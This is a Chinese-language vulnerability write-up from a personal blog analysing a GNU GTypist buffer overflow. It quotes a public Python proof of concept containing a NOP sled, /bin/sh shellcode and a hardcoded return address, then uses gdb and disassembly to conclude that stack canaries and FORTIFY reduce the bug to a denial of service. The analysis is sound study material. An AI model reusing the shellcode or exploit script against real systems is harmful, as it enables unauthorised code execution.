作者:k0shl 转载请注明出处:https://whereisk0shl.top
今天是2018年的最后一天,按理来说我应该也写点什么,首先还是感谢一直在看我博客文章的小伙伴们,这些文章是过去在学习二进制漏洞过程中的积累,可能分析的有所失误,可能漏洞并不高深,希望大家多多包含,我所积累的漏洞分析报告更新也接近尾声,预计在2019年年初完结,等积累的文章全部发布完成后,可能就不会再定时更新,但会将我目前的一些研究内容和大家分享。
祝愿大家元旦快乐,2019年心想事成,万事如意!
漏洞说明
GNU GTypist是一款Linux下的文本编辑软件,比较尴尬的是在我调试过程中,发现gtypist实际上开启了CNARAY和NX,也就是说,按照PoC给出的Exploit应该是没法利用的,这个应该是一个拒绝服务漏洞,该漏洞是由于当输入的文件路径是一个畸形文件的时候,首先会执行一次strcpy_chk拷贝,这个拷贝过程会因为畸形文件导致程序进入错误处理而退出,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/f44d1c8df11fd5a55da033bf5fb1ad6d-gtypist_2.9.5-2_i386.deb
PoC:
import os, subprocess
def run():
try:
print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP
buffersize = 4098
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x08\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["gtypist ",' ', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, GNU GTypist - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit GNU GTypist - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
漏洞分析
首先gdb运行,直接通过run python -c 'print "\x41"*4084'
运行,会发现程序中断。
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb12
ECX: 0xb12
EDX: 0x6
ESI: 0x3e ('>')
EDI: 0xb7f56000 --> 0x1a5da8
EBP: 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
ESP: 0xbfffb434 --> 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffb434 --> 0xbfffb6a8 --> 0xb7f0fdd6 ("buffer overflow detected")
0004| 0xbfffb438 --> 0x6
0008| 0xbfffb43c --> 0xb12
0012| 0xbfffb440 --> 0xb7dde307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffb444 --> 0xb7f56000 --> 0x1a5da8
0020| 0xbfffb448 --> 0xbfffb4e4 ("0 00:00 0 [vvar]\nb7fde000-b7fdf000 r-xp 00000000 00:00 0 [vdso]\nb7fdf000-b7ffe000 r-xp 00000000 08:01 9148\003")
0024| 0xbfffb44c --> 0xb7ddf9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffb450 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()
通过bt回溯堆栈调用情况。
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7dde307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7ddf9c3 in __GI_abort () at abort.c:89
#3 0xb7e1c6f8 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f0fe55 "*** %s ***: %s terminated\n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7eaa2d5 in __GI___fortify_fail (
msg=msg@entry=0xb7f0fdd6 "buffer overflow detected") at fortify_fail.c:31
#5 0xb7ea838a in __GI___chk_fail () at chk_fail.c:28
#6 0xb7ea7877 in __strcpy_chk (dest=0xbfffd42c 'A' <repeats 200 times>...,
src=0xbfffe672 'A' <repeats 200 times>..., destlen=<optimized out>)
at strcpy_chk.c:60
#7 0x0804bf30 in ?? ()
#8 0xb7dc9a63 in __libc_start_main (main=0x8049750, argc=0x2,
argv=0xbfffe4f4, init=0x804f330, fini=0x804f3a0,
rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbfffe4ec) at libc-start.c:287
#9 0x0804c393 in ?? ()
可以看到Linux调用了abort之后程序退出了,在#7位置处于程序领空,随后调用了strcpy_chk函数,该函数的模型如下。
#include <string.h>
char * __strcpy_chk(char * dest, const char * src, size_t destlen);
实际上这个函数有点像strcpy_s函数,#8是Linux调用main函数的调用,因此跟踪一下0804bf30位置看一下上下文。
.text:0804BF13 loc_804BF13: ; CODE XREF: .text:0804A49Dj
.text:0804BF13 push esi
.text:0804BF14 push 1000h
.text:0804BF19 push dword ptr [ebx+eax*4]
.text:0804BF1C lea eax, [ebp-101Ch]
.text:0804BF22 push eax
.text:0804BF23 mov ebx, eax
.text:0804BF25 mov [ebp-2D1Ch], eax
.text:0804BF2B call ___strcpy_chk
0804bf2b位置调用了strcpy_chk,在这里下断看一下。
gdb-peda$ b *0x0804bf2b
Breakpoint 1 at 0x804bf2b
gdb-peda$ run `python -c 'print "\x41"*4098'`
Starting program: /usr/bin/gtypist `python -c 'print "\x41"*4098'`
/usr/bin/gtypist: /lib/i386-linux-gnu/libncursesw.so.5: no version information available (required by /usr/bin/gtypist)
/usr/bin/gtypist: /lib/i386-linux-gnu/libncursesw.so.5: no version information available (required by /usr/bin/gtypist)
/usr/bin/gtypist: /lib/i386-linux-gnu/libtinfo.so.5: no version information available (required by /usr/bin/gtypist)
[----------------------------------registers-----------------------------------]
EAX: 0xbfffd42c --> 0x0
EBX: 0xbfffd42c --> 0x0
ECX: 0x0
EDX: 0xb7f5617c --> 0x0
ESI: 0x0
EDI: 0xbfffe661 ("/usr/bin/gtypist")
EBP: 0xbfffe448 --> 0x0
ESP: 0xbfffb700 --> 0xbfffd42c --> 0x0
EIP: 0x804bf2b (call 0x80495d0 <__strcpy_chk@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804bf22: push eax
0x804bf23: mov ebx,eax
0x804bf25: mov DWORD PTR [ebp-0x2d1c],eax
=> 0x804bf2b: call 0x80495d0 <__strcpy_chk@plt>
0x804bf30: mov eax,ebx
0x804bf32: call 0x804c5a0
0x804bf37: add esp,0x10
0x804bf3a: test eax,eax
Guessed arguments:
arg[0]: 0xbfffd42c --> 0x0
arg[1]: 0xbfffe672 ('A' <repeats 200 times>...)
arg[2]: 0x1000
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffb700 --> 0xbfffd42c --> 0x0
0004| 0xbfffb704 --> 0xbfffe672 ('A' <repeats 200 times>...)
0008| 0xbfffb708 --> 0x1000
0012| 0xbfffb70c --> 0x0
0016| 0xbfffb710 --> 0x0
0020| 0xbfffb714 --> 0x0
0024| 0xbfffb718 --> 0x0
0028| 0xbfffb71c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804bf2b in ?? ()
这里拷贝目标地址是bfffd42c,拷贝内容是畸形字符串,拷贝长度是0x1000,也就是畸形字符串长度,这个地方会导致bfffd42c栈溢出,会进入错误处理,那么这个函数的作用是什么呢?
.text:0804BF2B call ___strcpy_chk
.text:0804BF30 mov eax, ebx
.text:0804BF32 call sub_804C5A0
在执行结束后sub_804c5a0函数被调用,这个函数主要的功能就是处理strcpy之后dest目标地址存放的路径的内容。
.text:0804C5A0 sub_804C5A0 proc near ; CODE XREF: .text:0804A4D4p
.text:0804C5A0 ; .text:0804BF32p ...
.text:0804C5A0 push esi
.text:0804C5A1 push ebx
.text:0804C5A2 mov esi, eax
.text:0804C5A4 sub esp, 0Ch
.text:0804C5A7 push (offset aInvalidFunctio+1Ah) ; modes
.text:0804C5AC push eax ; filename
.text:0804C5AD call _fopen
.text:0804C5B2 add esp, 10h
.text:0804C5B5 test eax, eax
.text:0804C5B7 mov ebx, eax
.text:0804C5B9 jz short loc_804C5CC
.text:0804C5BB sub esp, 0Ch
.text:0804C5BE push esi
但是strcpychk的存在导致不通过,程序进入abort处理,但是通过checksec可以看到这个程序启用了较多防护机制,实际上poc中的代码是执行不了的。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
因此程序需要在strcpy之前对传入字符串做一个长度截断或者长度检查可以防止这个拒绝服务漏洞。